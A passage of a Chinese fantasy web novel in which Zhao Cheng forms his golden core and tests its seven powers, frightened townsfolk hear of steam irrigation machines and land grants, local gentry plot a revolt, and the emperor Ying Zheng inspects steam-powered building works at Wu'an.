【第一万四千年,那圆丹终于完全成形,将无尽真元吸收纳入其中,而后氤氲金光,每一缕金光,都有着比之前真元强大千百倍的威能,你踏入了金丹之境,你能够御空而行,扶摇直上九天,御剑千里之外……】
【第一万五千年,你继续修炼金丹,你的聚元丹耗尽了……】
“聚元丹耗尽了,再兑换二十枚……”
【第一万八千年,此刻你的金丹已如正午骄阳般,高悬在丹田中央,万道金光从丹身迸发,将丹田映照得如同白昼。
每一缕金光都是凝练到极致的真元,只需意念一动,便能顺着经脉涌向四肢百骸,比先前调用真元的速度快了千百倍不止……
【第一万九千年,你正运转**温养金丹,丹田中突然传来一阵异动。
只见金丹表面缓缓浮现出细密的纹路,纹路渐渐汇聚,最终凝成七枚辉光闪耀的星窍。
每一枚星窍都闪烁着不同颜色的微光,隐隐透出独特的神通波动。
细细探查之下,你才感知到这七枚星窍的玄妙,每一枚竟都对应一种源自周天星斗的神通特性:
金刚、锋锐、神行、炽烈、清明、破幻、敛藏。】
【你的聚元丹全部消耗完毕,当前寿命剩余13596年。】
“神通特性?”
赵诚猛地睁开双眼,眸中金光一闪而逝,仿佛有两轮微型骄阳在眼底转动。
他下意识内视丹田,只见那枚金丹悬于丹田正中,表面七枚星窍如同镶嵌的宝石,正随着他的呼吸缓缓闪烁。
一股沛然莫御的能量感从金丹中涌遍全身,比成丹前强横百倍不止。
若是说此前三百六十五处星窍如夜空里的点点星辉,那此刻的金丹,便是悬于苍穹的骄阳,光芒万丈,炽烈无比。
“神行!”
他心念一动,丹田中代表“神行”的星窍骤然亮起,淡青色的星力顺着经脉流遍四肢百骸。
下一刻,他脚下陡然泛起一层薄薄的金辉,身体轻得如同鸿**,只需脚尖微微发力,便好似能够随风而去。
转瞬间他已腾空而起,飞出窗户,凌空站在院子上方。
“这便是神行?”
赵诚眼中闪过一丝惊喜,随即踏步向前。
每一步踏出,脚下便炸开一朵细碎的气环,身影如同鬼魅般在高空闪烁,连风都荡不起几缕。
不过三五步,他便已飞出武安城的低空,落在武安城上
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空的云层之下。
他悬在百丈高空,低头俯瞰。
武安城的街巷如棋盘般纵横交错,穿城而过的洺水泛着粼粼波光,城郊的田垄里,还有百姓在弯腰查看新分到的田地,身影小得像蝼蚁。
远处的列人城隐在薄雾中,城墙轮廓隐约可见。
更远方的釜口城,还能看到城门口往来的商旅。
这便是金丹境的视野,也是神行特性带来的极致便捷,换作此前,他需全力奔袭半个时辰才能抵达的距离,此刻不过几步之遥。
自由的飞扬之感弥漫在赵诚心中,这天下之大,他已是一念之间来去自由。
“哈哈哈……”
他畅快一笑,于云端漫步,来去了然无痕,转瞬百里之外。
如此御空而行良久,他才终于满意,停了下来。
“也该试试金刚特性。”
赵诚收回目光,心念再转。
丹田中那枚代表着“金刚”特性的星窍骤然迸发厚重金光,金丹辉光如同潮水般透体而出,在他体表凝结成一层厚厚的金刚真元。
他探手一抓,腰间的神兵大戟凭空出现在掌心,戟身因贯通金丹真元,泛起金色辉光。
赵诚深吸一口气,将几缕真元灌注戟尖,猛地朝着自己胸口的金刚真元刺去。
“铛!”
一声清脆的金属撞击声轰然响起,戟尖狠狠撞在金刚真元上,竟被硬生生弹开。
金刚真元上只泛起一圈细微的涟漪,转瞬便恢复如初。
赵诚握着戟杆的手微微发麻,心中却涌起一阵惊叹:“这强度,比我用炼体功淬炼了无数年的宝体还要强上一些!
此前天宗老道的合力真元攻击,怕是连这层金刚真元都破不开一丝。”
“若是同时催动锋锐与金刚,能否破掉自己的防御?”
这个念头刚冒出来,赵诚便立刻行动。
他先是引动代表“锋锐”的星窍,以锋锐神通特性融入戟尖真元,让原本就锋利的戟尖泛起森然冷光,仿佛能斩断世间一切硬物。
紧接着,他维持着体表的金刚真元,再次将真元灌注大戟,朝着胸口刺去。
“嗤!”
第228章 丹蕴七星窥妙谛,列人异闻起惶然
这一次,戟尖没有被弹开,而是带着尖锐的破风声,刺入金刚真元。
淡银色的锋锐真元与金色的金刚真元在戟尖处碰撞,发出细微的“滋滋”声,金刚真元上的辉光荡漾,仿佛在极力抵抗。
最终,戟尖堪堪刺入半寸,便再也无法前进分毫,淡银色的锋锐真元也耗尽了力道,化作点点光屑消散。
赵诚收回大戟,看着上那道浅浅的凹痕,嘴角勾起一抹笑意,“不错,这锋锐程度,已是我所见之最。
若仅以我的肉身防御,恐怕会被这大戟刺穿。”
他目光扫过金丹上那枚泛着赤红光芒的星窍,心中好奇:“不过,这‘炽烈’又是何意?”
心念一动,赤红星窍骤然爆发,金丹猛地一转,一股滚烫的真元如同岩浆般涌遍全身,顺着手臂注入大戟。
刹那间,大戟表面好似燃起熊熊烈焰,赤金色的真元如火焰般缠绕戟身,散发出灼人的热浪。
连周围的空气都被灼烧得扭曲起来,发出“噼啪”的轻响。
赵诚握着焚天大戟,随意朝着下方的无人山丘处劈出。
“轰!”
赤金色的真元如焚天烈焰轰然而下,带着焚毁一切的威势砸在地上。
地面瞬间炸开,焦黑的泥土飞溅,一道深半尺、长三丈的焦痕出现在空地上,焦痕边缘还在冒着青烟,连路过的风都带着灼热的温度。
“威势竟比我现在正常真元攻击,还要强了数倍不止!”
赵诚心中一喜,接着探查其他星窍,目光落在“清明”与“破幻”两枚星窍上,若有所思。
“清明特性倒好理解。
自从金丹凝成,我便觉得心灵像被擦拭过的明镜,没有半分杂念,哪怕回忆此前与那几个道士的战斗细节,每一招的拆解、每一次真元的流转都清晰无比。
修行时对各种小瓶颈难点的理解突破也更快,连星窍与金丹的共鸣都更顺畅。”
“至于破幻……”
赵诚想起少女那招“大梦千年”,当时若非他精通阴阳术,怕是真要中招。
“有了这特性,再遇到类似的幻觉、精神巫术,应该能直接看穿或者驱散。
便是那些擅长幻术的大巫,在我面前天然被克制。”
最后,他将目光落在刻着“敛藏”的星窍上。
“至于敛藏,恐怕与我身上的天机有关,有了这种特性,别人想要占卜与我相关的事情都不得行了,而且想要感知我的存在,也会变得更难……”
……
列人城的北街口,老槐树下围了一圈百姓。
此时日头刚过晌午,本该是挑着担子赶路的时辰,此刻却没人挪步,都凑在一起,脸色凝重地议论着。
“你们听说了没?那‘血屠阎罗’赵诚,早就进了武安城了!”
一个穿短打的汉子压低声音,眼神里满是忌惮,“我表舅在武安城守门,前几日托人带信来,说那赵诚进城时,血衣军排了三里地,煞气重得满城都像是下了雪似的,人人身体发寒!”
“唉,这下武安城的人怕是要遭罪了……”
蹲在树下抽旱烟的老汉叹了口气,烟杆在鞋底磕得“笃笃”响,“我年轻时候见过秦军攻城,那叫一个狠。
可比起那‘血屠’的名声,就像是小孩子过家家似的。
听说那血屠破故韩时,三日没让城门关过,里面的人……”
他没说下去,但众人都懂,脸色更白了。
人群里突然有人瑟缩了一下,声音发颤,“我还听说,那血屠会‘采生折割’的妖术,专抓活人练邪法!
武安城那么多人,他不会……不会都用来练妖术吧?”
“恐怕就是这样!”
旁边的妇人抱着孩子往人群后缩了缩,“我家男人说那血屠手上的人命,比咱这辈子吃过的米都多!
武安城这回,怕是要彻底完了!”
“完了完了!”
有人捶着大腿,“武安城离咱们列人城才五十里地,他要是屠了武安,下一个不就是咱们?”
此话一出,周围围着的所有的百姓全都是脸色一变,肉眼可见的慌张起来。
“那
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这怎么办?”
“要不然跑吧,趁他还没有杀到咱们列人城,咱们现在跑应该还来得及!”
“专走深山老林,那血屠应该也追不上咱们。”
“他二婶,俺们现在就回家收拾东西,你们一起不?”
“一起,一起!小命要紧啊!”
“哎呀,跑什么,往哪跑?”
“这邯郸以西百里之地,现在都是他的,都是他说了算啊!”
有人如此说了一句,众人顿时为之一静。
是啊,这百里之地都是他的,现在他们就算拖家带口的跑了,又能够跑到哪里去,又能够跑多远呢?
可是,难道就这样束手待毙吗?
“也别这么慌!”
一个跑过武安城的脚夫插了话,“我前几日从武安城外围过,没见着**,也没闻着血腥气。
就是城西那工坊,日夜不停响,跟巨兽喘气似的,轰隆轰隆的。
听说那血屠进城之后就把自己关在里面,不知道在养什么怪物!”
“怪物?”众人眼睛都瞪圆了,“莫不是传闻里能吞城的灭世妖魔?”
“嘶……”
倒吸凉气的声音此起彼伏,“要是那妖魔吃了武安城,转头就来吃列人城,咱们跑都跑不掉啊!”
“是啊,听这架势,那妖魔恐怕比山里面的山君还要吓人!”
议论声越来越乱,恐惧像潮水般裹住每个人,连树上的蝉鸣都显得格外刺耳,令人心头发寒。
就在这时,一个挑着货郎担的汉子从南街路过,听到了众人的讨论,又看了看他们的脸色,乐了。
“诸位乡亲!俺这有最新消息!
武安城工坊里那‘巨兽’,出笼啦!”
“什么?!”
老槐树下瞬间安静,所有人都转头看向货郎,眼睛里满是惊恐与急切。
方才说话的脚夫几步冲上去,抓住货郎的胳膊:“出笼了?它**了没?你见着那怪物长啥样了?”
货郎放下担子,擦了把汗,神秘兮兮地压低声音:“见着了!
那家伙啊……
第229章 货郎说机传善政,豪绅忧田聚秘谋
“那家伙啊……
足有两丈多高,三丈来长,浑身是黑铁铸的,底下装着两排铁轮,轮齿尖得一过一排小坑。
那身上缠满了铜管子,里面哗哗流着水,时不时喷白汽,跟吐雾似的。
最前头还有个大铁斗,旁边垂着一串小链斗,一动起来‘咔嚓咔嚓’响,好像是它的牙齿!
远远瞅着,就像头……蹲在地上的钢铁妖兽。
那叫声如下雨打雷的轰鸣声,震得人耳朵都疼!”
他说得活灵活现,众人听得齐齐打了个哆嗦,有个小孩吓得往娘怀里钻,哭喊道:“娘,我怕!”
“那……那妖兽在武安城大开杀戒了?”
有人颤声问,手不自觉地攥紧了衣角。
货郎却突然笑了,摇着拨浪鼓:“杀啥杀?
不但没**,还给武安城的百姓送了大恩惠哩!”
“恩惠?”
众人面面相觑,满脸不信。
方才说话的妇人皱着眉:“你莫不是胡扯?
那钢铁妖兽能给人什么恩惠?
怕不是一边**,一边假意做好事吧?”
“就是!”
有人附和,“那血屠的名声在外,能安什么好心?
说不定是用恩惠骗百姓靠近,再抓去练妖术!”
货郎见众人不信,无奈地翻了个白眼:“你们啊,听风就是雨,就这点胆子,武威君杀你们还用的着机关兽?看你们一眼你们就吓**!
告诉诸位,那可不是妖兽,是武威君造的‘润田机’!”
“润田机?”
众人都是一脸茫然,“啥是润田机?”
“就是浇地用的!”
货郎拍着大腿解释,“我在武安城城郊亲眼见的!
那润田机把铁斗伸进洺水里,添上煤炭,‘轰隆’一响,链斗就转起来了,一斗斗水顺着铁槽往田里流,跟小河似的!
它转一天,能浇透百亩地,抵得上十个壮劳力挑半个月的水!
你说神不神奇?”
这话一出,老槐树下彻底安静了。
抽旱烟的老汉忘了磕烟杆,脚夫张着嘴,妇人怀里的孩子也不哭了,都愣愣地看着货郎。
半晌,才有个老农颤巍巍地开口:“你说……那钢铁妖兽会帮人浇地?
一天抵十个壮劳力半个月?
这……这不可能吧?
哪有不吃草、不吃饭,还能干活的东西?”
“就是!”
有人立刻接话,“它不得吃东西啊?
怕不是白天浇地,晚上偷偷**填肚子?”
“我看你们真是没见识!”
货郎没好气道,“那润田机吃的是煤炭!
往炉膛里添上一筐煤,就能转大半天,哪用**?”
“吃煤炭?”
众人还是不信,“吃点煤就能干活?
天下哪有这等好事?
就算有,也轮不到咱们庄稼汉用,早被地主老爷抢去了!”
“就是,”
一个佃户叹了口气,“去年天旱,我家东家的地雇了二十个人挑水,咱们这些佃户的地,只能眼睁睁看着庄稼枯死……
好东西,哪能轮到咱们?”
货郎却不急,慢悠悠从货担里掏出个烤红薯,掰了一块塞进嘴里,才施施然开口:“你们还别不信!
我在武安城听秦吏说,武威君已经下了令,前几日就开始重新核定户籍、清丈土地。
每家每户,都按户授田!
上田百亩,中田百二十亩,下田百五十亩!
只要登了户籍,都是自家的地!”
“啥?
百亩地?”
这话像道惊雷,炸得众人都站了起来。
抽旱烟的老汉手一抖,烟杆掉在地上。
“你……你说啥?
每户百亩?
我没听错吧?我这辈子,手里连十亩地都没过过!”
“千真万确!”
货郎拍着胸脯,“还有那润田机,只要是登了户籍的,都能租来用!
只需要比平常多交一成税,就能躲过天旱。
大家伙再也不用像从前那样,为了浇地累晕在渠边,也不用看着庄稼枯**!”
他顿了顿,看着众人震惊的表情,语气里满是赞叹。
“你们啊,都被‘血屠’的名声骗了!
咱这位武威君,哪是什么阎罗?
他是咱们庄稼汉的青天大老爷啊!”
老槐树下再次陷入寂静,只有货郎的拨浪鼓“咚咚”响着。
众人你看看我,我看看你,眼神里的恐惧渐渐褪去,取而代之的是难以置信的激动。
百亩地
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,能浇地的钢铁疙瘩!
这是他们想都不敢想的好日子,简直就像是天上掉金饼子一样,充满了魔幻,让人激动又不敢相信是真的。
半晌,才有个年轻汉子小心翼翼地问:“货郎哥,你说的……
都是真的?
不是哄我们的?”
货郎笑着举起手里的红薯,“我哄你们干啥?再过几日,武安城的润田机就要运到列人城了,到时候你们去瞧瞧,不就知道了?”
“过几日就来了?”
众百姓神情惊喜之中带着惶然。
这里的许多人,自出生起就在此地,就算是一些老者,历经许多年,也从未经历过如货郎所说的那般巨大变革。
一时间大家都是心情复杂,激动又惶恐,还有一些患得患失。
……
列人城最大的绸缎庄后院,装饰华贵得议事厅里,烛火跳动着映出满座愁容。
列人城的七家豪绅与三家残余的赵国贵族齐聚于此,桌上的茶盏早已凉透,却没人动一口。
每个人的脸色都像罩了层寒霜,空气里弥漫着压抑的焦虑。
“诸位都听说了吧?”
坐在主位的王家大郎王仲,手指重重敲着桌面,声音里满是难以掩饰的怒意。
“那血屠赵诚到了武安城,上来搞什么‘清丈土地、按户授田’!
只要是城中编户,就能分到百亩良田,他当这土地是路边的石头,想送就送?”
“百亩!”
旁边的李家老爷李嵩猛地拍案,茶盏被震得跳起,“咱们列人城拢共才多少好地?
城郊那几千亩水浇地,大半在咱们几家手里,剩下的也都是贵族老爷的产业!
他要授田,授的是谁的田?
还不是咱们祖祖辈辈打拼下来的家业!”
他越说越激动,指着门外压低声音嘶吼:“要把咱们的地,分给那些只会刨土的佃户、长工?
那些泥腿子,给他们块好地都种不出粮食,凭什么占咱们的基业?
这事我第一个不答应!”
“李兄莫急。”
一直沉默的赵家贵族赵德,捻着山羊胡开口,语气里带着几分忌惮,“不如先听听武安城的情况,再做商议。
我刚从武安城跑回来的管家说……“
第230章 贵族鼓反谋保业,众绅畏屠议缓行
“我那刚从武安城逃出来的管家说,那武安县令王博,就是因为拦着赵诚分地,被当众斩了!
他手下的属吏,只要沾了钱家的关系,一个没跑,全被当场斩杀!”
这话一出,议事厅里瞬间安静了几分。
李嵩的火气也消了些,脸上的慌张一闪而逝。
他端起凉茶猛灌了一口,却还是压不住心头的慌。
接着又听人说道,“听说当时还有仙人出手,要保那王博的命,都没有能够保住!”
“与那王博合伙的钱家,更是被那血屠直接杀了大半人口,屹立百年的家族,生生给杀散了!”
听到这话,李嵩浑身一颤,嗫嚅着嘀咕道,“那这人是个**不眨眼的主,咱们可惹不起啊!”
王仲也是脸色发白,手指攥着桌布,“大家应该都清楚,这血屠是个**不眨眼的疯子!
咱们硬拼,怕是跟王博、钱家一个下场……”
“那怎么办?”
有人慌了神,但想到自己家的地,还是咬着牙说道,“总不能眼睁睁看着他把咱们的地分了吧?
我家那七百亩水浇地,每年能收千石粮,分出去了,我一家老小喝西北风去?”
“该死的,这人疯了不成?
夺我们的田,分给那些泥腿子,对他有什么好处?”
“要不……”
李嵩犹豫了片刻,压低声音提议,“要不然,我们派个人送些钱粮过去。
告诉他,只要不分咱们得田,咱们每年都给他一大笔钱粮,一定比那些泥腿子交租交税给的多,如何?”
“呵!”
一声冷笑突然从角落传来。
众人循声望去,只见赵国旧贵族韩烈靠在椅背上,手里把玩着一把青铜**,眼神里满是不屑。
“李老爷,你这是被吓破胆了?
不过是个只知杀戮的屠夫,你们就怕成这样?”
“韩公子,话不能这么说。”
王仲皱着眉,“那赵诚连仙人都能打过,咱们手里这点私兵,在他面前跟蚂蚁似的,硬拼不是送死吗?”
“送死?”
韩烈猛地站起身,**“啪”地拍在桌上,“咱们打不过他,难道就只能任他拿捏?
列人城是咱们的根基,地没了,咱们跟那些泥腿子有什么区别?”
“还是说,你们都想过那些泥腿子过的日子?一年到头饭都吃不饱几顿?”
听到这话,众人的目光陡然清明了一些,连恐惧和惊慌都褪去了许多。
由俭入奢易,由奢入俭难。
大家伙都是做惯了人上人的,每顿桌上没点肉,那都要被人笑话。
如何能够过得了那种一年到头吃不饱几顿饭的日子?
那对他们来说,简直就是生不如死。
韩烈走到厅中,目光扫过众人,声音里带着蛊惑。
“赵诚虽强,可他刚占武安,根基未稳!
咱们只要联合起来,再暗中联络周边隐藏的赵国旧部,许他们好处,请他们出兵对付赵诚。
到时候内外夹击,他顾此失彼,哪还有功夫分咱们得田!”
“联络旧部?”
赵德皱起眉,“赵国全境早就被秦军占了,旧部要么降了秦,要么躲在深山里,哪还有能打仗的?
再说,就算联络上了,他们敢跟赵诚作对吗?”
“怎么不敢?”
韩烈眼中闪过一丝狠厉,“秦国要分豪绅的地,不只是咱们恨!
整个故赵的贵族、豪绅,哪个不恨?
只要咱们牵头,许以那些旧部足够的好处,再用些蝇头小利鼓动起那些愚民,说动他们一起反,人多势众。
赵诚这百里封地必乱!”
李嵩连连摇头,“不妥不妥,咱们牵头,到时候被那血屠盯上了,恐怕一个都跑不掉。”
“那不是普通的封君,那是武威君,是血衣侯,是连灭两国的血屠阎罗,这世上还有他不敢杀的人吗?”
韩烈鄙夷的看了一眼李嵩,“李嵩,看你那点出息!”
“正因为他是武威君,这百里封地他才不能随便杀!”
“你看他进了武安城的一系列举动,明显是想要将此地打造成他的根基。
而想要这封地兴盛,光是分地又有什么用,要有人才行。
人丁兴旺,才有人种地,他把人都杀了,分地给谁去?“
“所以,他不会杀,也不敢杀!”
“我们只需
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要在联络旧部之后,把百姓都鼓动起来,一起反他,反对清丈土地,反对核定户籍。
而咱们自己,只需要隐藏在幕后不露面,他又能有什么办法?”
“能把所有人都杀了不成,都杀了的话,秦王还能让他当这个武威君吗?”
他顿了顿,又道:“再退一步说,到时候就算打不过,咱们也能趁乱把列人城的粮食、钱财运走,躲去深山里!
总比留在这儿,等着他把地分了、把人杀了强!”
议事厅里再次陷入沉默。
烛火摇曳,映着众人各异的神色。
王仲陷入犹豫,李嵩十分恐惧,赵德前后顾虑,韩烈满脸狠厉。
半晌,王仲才缓缓开口:“联络旧部风险太大,万一被赵诚察觉,咱们死得更快……
要不,先按李兄说的,送些钱粮去试探试探?
若是赵诚肯收,咱们就先稳住他。
若是他不肯,再想别的办法?”
“哼,试探?”
韩烈冷笑一声,“那赵诚图谋的是这百里基业,会看得上你们这点钱粮?
不过是白费功夫!”
“那你说怎么办?”
李嵩忍不住反驳,“难不成真要跟他拼命?”
“自是拼了!”
韩烈攥紧**,“咱们的地,咱们的家业,不能就这么拱手让人!
我这就派人去联络赵军旧部,再找些能人来,谁敢来列人城清丈土地,就把他们都杀了!
你们要是怂了,就等着当泥腿子吧!”
说完,他将青铜**狠狠插在桌子上,转身就往外走。
议事厅里,众人面面相觑,没人说话。
窗外的风卷着落叶,打在窗棂上,发出“沙沙”的混乱声响。
像极了他们此刻混乱的心绪。
一边是声威赫赫**如麻的“血屠”,一边是祖祖辈辈的家业。
无论选哪条路,都极难抉择。
王仲看着桌上凉透的茶,重重叹了口气:“先……先备些钱粮,派个人去武安城看看吧。
若是赵诚真油盐不进,再做打算。”
没人反驳,只有烛火“噼啪”作响,映着满座的愁云,以及桌上**的寒锋……
第231章 流言惑庶燃反意,帝临观械叹奇工
接下来的几日,列人城的街巷里总有着阵阵窃窃私语。
不知从何时起,一个隐秘又恐怖的消息,像藤蔓般缠上了每个百姓的心头。
起初只是几个穿短打的汉子,蹲在墙角根偷偷议论。
“听说了吗?
那血屠搞‘分田’,根本是幌子!”
路过的妇人竖起耳朵,就听见下一句更吓人的:“他是想先用田骗咱们信任,等咱们都信了,就把人聚到一起,用‘采生折割’的邪术屠城!
上到八十岁的老头,下到刚会走的娃,一个都不留!”
“采生折割”四个字,像淬了毒的针,扎得人心里发毛。
列人城的百姓谁没听过这邪术的传闻?
据说能把活人拆骨剥皮,用这些人的怨毒和精血,提升自己的力量,或者练出害人的妖物。
如今这话安在“血屠”身上,竟很容易让人相信。
毕竟,“血屠”会采生折割之术的事情早传遍诸国。
**屠城对他来说,更是像砍瓜切菜一般寻常。
消息越传越广,从北街的绸缎庄,传到南街的粮铺,再传到城郊的佃户村。
百姓本就对“一家百亩田”的好事半信半疑。
活了一辈子,哪见过天上掉金饼的?
此刻听到这消息,心里最后一点期待也碎了,立刻对流言信了八成。
“我就说嘛!”
蹲在老槐树下的老农,磕着旱烟杆,老脸皱成一团,“一家百亩地?
白给?
连这种好事能轮着咱们?
这分明是个陷阱,丢命的陷阱啊!”
旁边的妇人抱着孩子,手都在抖:“怪不得他要分田,原来是看上咱们的命了!
那‘采生折割’,听着就瘆人,我家娃才三岁……”
话说到一半,就哽咽着说不下去。
“可不是!”穿粗布衫的汉子攥紧了锄头,指节泛白,“只有起错的名字,没有起错的称号,这血屠阎罗**如麻,这消息肯定是真的!”
恐慌像潮水般漫过全城。
有人缩在家里不敢出门,有人对着祖宗牌位磕头,还有人抱着铺盖卷,想逃去深山,却又怕路上遇到血屠。
街巷里没了往日的热闹,连狗吠都少了,只剩一片死气沉沉的压抑。
“这可怎么办?真要等死吗?”
“别慌!我听说有人去求援了。
之前咱们赵国的一支铁军,就藏在西边的山里,已经答应来护着咱们了!”
“铁军?”
众人眼睛一亮,像是抓住了救命稻草。
可很快,又有人垂头叹气:“那有啥用?整个赵国的军队,都打不过那血屠,一支藏在山里的旧部,能挡得住他?”
“怎么挡不住?”
突然有人高声反驳,是个二十来岁的年轻汉子,撸起袖子,露出结实的胳膊,“一支援军不够,咱们加起来还不够?
人家来帮咱们,咱们总不能缩在家里,让人家孤军奋战吧?”
“对!”
旁边的老佃户也来了劲,把旱烟杆一扔,“横竖都是死,老子宁愿像个爷们一样,跟他拼了,也不能窝窝囊囊被他练了邪术!”
“我也拼了!”
“算我一个!
血屠要是敢来,我就用这把锄头,敲碎他的脑袋!”
“还有我!”
一时间,原本惶恐的百姓,竟都红了眼,攥着锄头、镰刀,吵着要跟血屠死战。
没人注意到,人群里混着几个陌生汉子。
他们是韩烈派来的人,专挑百姓最恐慌的时候,凑上去说几句。
如“血屠连三岁娃都不放过”“援军缺人手”,“咱们没地没粮,**也白死,不如拼一把”之类的话,大多是出自他们的口。
这些百姓大多大字不识,一辈子没离开过列人城,哪经得起这般挑唆?
本就被流言吓破了胆,又被勾起了求生的血勇,瞬间就被带偏了,只想着“跟血屠拼了”,完全忘了当初听到“分田”时,心里那狂喜和期待。
“……”
“前面这是在做什么?”
“陛下,这恐怕又是武威君搞出来的一种新的蒸汽器械,这东西看着力气颇大,咱们还是站远一些。”
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嬴政鄙夷的看了一眼王绾,“寡人就是来此看墨阁进展的,离那么远还看什么?
再说墨阁弄出的东西,还能砸了寡人不成?““过去看看!”
“唯!”
王绾抹了把头上的汗,小心翼翼的跟随嬴政向前走去。
武安城洺水北岸,往日里空旷的河滩此刻已是一片热火朝天。
嬴政身穿常服,在王绾顿若等重臣的跟随下,穿过热火朝天的河滩,向着前方那巨大的蒸汽器械而去。
巨物映在他的眼中,让其眸中闪过丝丝惊叹。
阵阵轰鸣声震得地面微微发颤,白汽从钢铁烟囱里喷涌而出,在湛蓝的天空下凝成一团团蓬松的云,连洺水的波光都被这股生机染上了暖意。
这台器械体型极大,半丈高的铁铸底座深深扎进夯实的泥地,四根碗口粗的钢铁支架呈“井”字架起。
顶端横亘着一根丈许长的铁制吊臂,吊臂末端挂着半人高的铁制抓斗,抓斗边缘的钢齿闪着冷光。
机身侧面缠着一圈圈铜制管道,管道里“哗哗”流淌着热水,偶尔有蒸汽从接口处溢出,发出“嘶嘶”的轻响。
最下方的炉膛里,墨官正不断往里面添着煤炭,橘红色的火光从炉口窜出,映得周围的铁件泛着红光。
“起!”
随着墨官一声吆喝,吊臂缓缓转动,抓斗“咔嚓”一声扣住一块千斤重的青石板。
那石板是从洺水对岸的采石场运来的,表面还沾着湿泥,却被抓斗稳稳钳住。
吊臂升起时,钢铁支架微微晃动,却丝毫不显吃力,只听“轰隆”一声,石板被精准地吊到城墙地基的指定位置。
早候在旁的工匠们立刻上前,用铁楔子将石板与旁边的石块对齐,再用掺了糯米汁的灰浆填补缝隙,动作麻利得很。
不过半个时辰,原本空荡荡的地基上,已垒起了三尺高的城墙雏形,青石板层层叠叠,严丝合缝,比往日人工搬运垒砌快了何止十数倍。
嬴政看着如此垒城速度,眸中更是惊喜。
“此物竟举千斤重物有若鸿**……”
第232章 王察夯车惊坚土,侯谋枢轨绘宏篇
“咚!”
“咚!”
“咚!”
地面突然震颤起来,嬴政等人扭头看去。
只见不远处,一辆怪形怪状的巨车缓行向前。
这车子比寻常马车略大,车身两侧各有一根粗铁杵,铁杵顶端裹着厚厚的铁皮。
随着车内蒸汽运转,铁杵“咚咚”地砸向地面。
每砸一下,地面都会往下陷半寸,连带着地面都在颤动。
而那扬起的尘土被车旁的挡风板挡住,不会溅到工匠身上。
“咦,这又是何物?”
嬴政眸中闪过好奇之色。
一旁的李斯猜测道,“这东西,倒像是夯土垒实地基用的。”
嬴政上前几步,来到那巨车垒实过的地方,用脚向下狠狠地踩了踩。
只觉那原本松软的泥地,经过那种巨车反复捶打后,竟变得比石头还坚硬。
不由露出几分惊讶之色,他突然扭头四处看了看,似乎在寻找什么东西。
而一旁的顿弱则是立刻找一旁的工匠借来了锄头,递给了嬴政,“陛下。”
嬴政满意地点了点头,拿过锄头,朝着地面敲了敲。
咔!
咔!
锄头敲在地面上,只留下两道浅浅的白痕。
嬴政再次用了些力气,却也只是在地面上敲出了两个细微的小坑。
一旁的顿弱见状不由得咋舌:“这玩意比用夯石砸得还结实得多。
而且按照这个进度,这一辆车,一天就能夯好半里地的地基!”
“这种建造效率,未免也太高了!”
嬴政将锄头放到一旁,目光巡视整个工地,眼底流露着明显的兴趣和好奇。
只见那热火朝天的工地之中。
数百名墨官穿梭在工地间,或是操纵蒸汽器械,或是则施展机关术。
有人将巴掌大的“木鸢”放飞到空中,木鸢下方挂着细线,用来测量城墙的垂直度。
有人拿出“转石机”,将不规则的石块快速打磨成方砖。
还有人推着“运料车”,车底装着小铁轮,顺着预先铺好的木轨滑行,运料速度比人工挑担快了不知道多少倍。
这些机关器具与蒸汽器械配合,全是奇思妙想,在这洺水岸旁那是平地起高楼。
嬴政站在场中,看着眼前一幕,渐渐陷入沉思。
谁也不知道他在想些什么。
而就在这时,一声夸张的惊叹惊醒了他。
“俺滴娘嘞!“
嬴政扭头看去,只见一名故赵的工匠正蹲在城墙根下,手里的泥刀都忘了动。
一双眼睛瞪得老大,一眨不眨的看着蒸汽举重机,嘴里不停念叨。
“俺这辈子没见过这么厉害的物件!
就这举重机,搬一块大青石就那么一眨眼!
就这活儿,够五个壮汉抬半天的,一个这玩意干上半天,抵得上五十个人都不止!”
一旁的顿弱想要将这老工匠驱赶走,避免他惹怒了嬴政,却被嬴政伸手阻拦。
嬴政饶有兴趣地看着那老工匠,上前两步似有交谈之意。
却在这时,
另一个年轻工匠凑过来到老匠身边,指着刚垒好的城墙,声音里满是惊叹:“周叔你看!
这城墙又厚又高,青石板垒得比尺子量得还齐,才一天就起了这么大的模子。
照这速度,不出一个月,咱们武安城的新城墙就能圈起来了!”
“可不是嘛!”
另一个工匠擦了擦额头的汗,笑着说,“以前咱们盖个城门楼子都要三个月,现在有这些宝贝,怕是用不了多久,武安城就要比邯郸还气派了!”
“你们说咱们这位武威君是不是神仙来的?
战场上攻无不克战无不胜就算了,这些东西也能够弄出来!
你说都是长了一个脑袋,人家那脑袋里面,怎么就装了这么厉害的东西?”
“要我说,咱们武安城有这位侯爷在,以后那也得是天下名城一座!”
“这还用你说?”
“哈哈哈哈……”
在诸多工匠们的惊叹议论和谈笑声中,嬴政脸上露出一抹笑意,穿过热闹的工地,去寻赵诚了。
与此同时,洺水岸旁的一座高亭之上。
禽滑离正拿
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着一张羊皮草图,站在赵诚身边,指着草图上洺水旁的边界标记。
“侯爷您看!
咱们把武安城的蒸汽中枢设在这里,真是再好不过!
这里紧挨着洺水,取水方便,不用额外挖渠。
而且就在铁矿和工坊中间,从铁矿运矿石到冶铁坊,再从冶铁坊运钢材到器械坊,都不用绕路,运输时间能省一半!”
他又指着草图上的虚线,那是规划中的驰轨线路:“等咱们把新城墙扩建到这里,再让驰轨贯通矿区、工坊、冶铁坊,整个武安城的蒸汽器械线路就彻底盘活了!
到时候造润田机、造连**战车,甚至运输粮食,都能事半功倍,比从前快上七八倍都不止!”
赵诚站在高亭上,目光掠过工地,又落在旁边的工业区模型上。
那模型是用木头和泥土做的,分区清晰。
中间是蒸汽中枢,周围环绕着器械坊、冶铁坊、织坊、木工坊,最外侧是学徒院,每个区域之间都有细小的木轨连接。
等这里建成后,整个工业区会像一台精密的机器般运转,大大提升所有坊区的工作效率。
而这还只是他构想中的第一步。
等工业区稳定运转,建造效率提上来后,他便要着手扩建整个武安城。
先把新城墙往外扩十里,将城郊的农田、村落都囊括进来。
再用穿渠机挖通洺水的支流,用挖泥船清理河滩的淤泥,开垦出万亩荒田。
地有了,人自然也要跟上,他已让人去秦国调派老秦人来此定居。
那些安置在颍川郡的血衣军遗属,也会陆续迁来,填补人口空缺。
到那时,他还要在城内建造砖木排屋,让这些老秦人和军属有房可住。
再开辟市集街道,方便百姓交易。
设立墨官学堂,传授蒸汽技艺和机关术。
再建一所血衣学堂,培养能文能武的人才……
最后,让驰轨车一直铺到全国各地,将武安城打造成故赵与秦国之间的贸易中枢,让这里成为真正的“天下粮仓”与“器械之都”。
第233章 洺水惊变水巫刺,血衣凌空擒逆魁
“君上!陛下来了!”
